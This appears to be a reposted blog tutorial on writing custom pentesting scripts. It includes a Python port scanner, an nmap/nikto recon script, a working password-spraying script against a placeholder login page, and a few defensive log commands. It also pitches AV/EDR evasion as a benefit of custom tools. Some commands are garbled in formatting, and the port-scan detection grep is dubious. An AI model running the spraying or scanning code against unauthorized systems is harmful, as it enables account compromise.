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Cybersecurity professionals must move beyond relying on pre-made tools and instead understand the underlying mechanics of attacks. This post explores how to develop custom pentesting scripts to deepen your knowledge of offensive security techniques.
You Should Know:
1. Why Custom Scripts Matter
- Understanding Attack Vectors: Writing scripts helps you dissect how exploits work.
- Evasion: Custom tools bypass signature-based detection better than public tools.
- Skill Development: Scripting improves Python, Bash, and PowerShell proficiency.
2. Essential Tools for Scripting
- Python (Preferred for pentesting scripts)
- Bash (For Linux-based automation)
- PowerShell (For Windows environments)
3. Example: Basic Port Scanner in Python
import socket
def port_scan(target, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((target, port))
if result == 0:
print(f"[+] Port {port} is open")
sock.close()
except Exception as e:
print(f"[-] Error scanning port {port}: {e}")
target = "192.168.1.1"
for port in range(1, 1025):
port_scan(target, port)
Explanation:
- Uses `socket` to check open ports.
- Adjust `timeout` for faster/slower scans.
- Extend with threading for efficiency.
4. Automating Recon with Bash
!/bin/bash echo "Running Nmap scan..." nmap -sV -T4 -oA scan_results $1 echo "Checking for vulnerabilities..." nikto -h $1 -output nikto_scan.txt
Usage:
- Save as `recon.sh` → `chmod +x recon.sh` → `./recon.sh target.com`
5. Defensive Countermeasures (Blue Team)
- Detect Port Scans:
Monitor failed connections in Linux sudo tail -f /var/log/auth.log | grep "Failed connect"
- Block Suspicious IPs:
sudo iptables -A INPUT -s <ATTACKER_IP> -j DROP
- Log Analysis with
grep:grep "authentication failure" /var/log/auth.log
6. Advanced: Password Spraying Script (Ethical Use Only!)
import requests
def password_spray(target_url, usernames, password):
for user in usernames:
data = {'username': user, 'password': password}
response = requests.post(target_url, data=data)
if "Welcome" in response.text:
print(f"[+] Valid credentials: {user}:{password}")
usernames = ["admin", "user1", "test"]
password_spray("http://target.com/login", usernames, "Spring2024!")
Warning: Only use on authorized systems.
What Undercode Say
Custom scripting transforms script kiddies into skilled professionals. By building tools, you:
– Master attack techniques (e.g., brute-forcing, scanning).
– Improve defensive skills (detecting malicious traffic).
– Stay ahead of automated tools (AV/EDR evasion).
Key Commands to Remember:
- Linux:
netstat -tuln Check open ports tcpdump -i eth0 'port 80' Capture HTTP traffic
- Windows:
Get-NetTCPConnection -State Listen Find listening ports Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} Failed logins
Prediction
As AI-driven attacks rise, manual scripting will remain critical for advanced red teaming. Expect more:
– AI-powered detection bypasses (e.g., adversarial ML in malware).
– Custom C2 frameworks (replacing Metasploit in targeted attacks).
Expected Output:
A deeper understanding of offensive scripting and defensive hardening techniques.
Note: Always comply with ethical hacking laws. Unauthorized testing is illegal.
References:
Reported By: Tristan Manzano – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
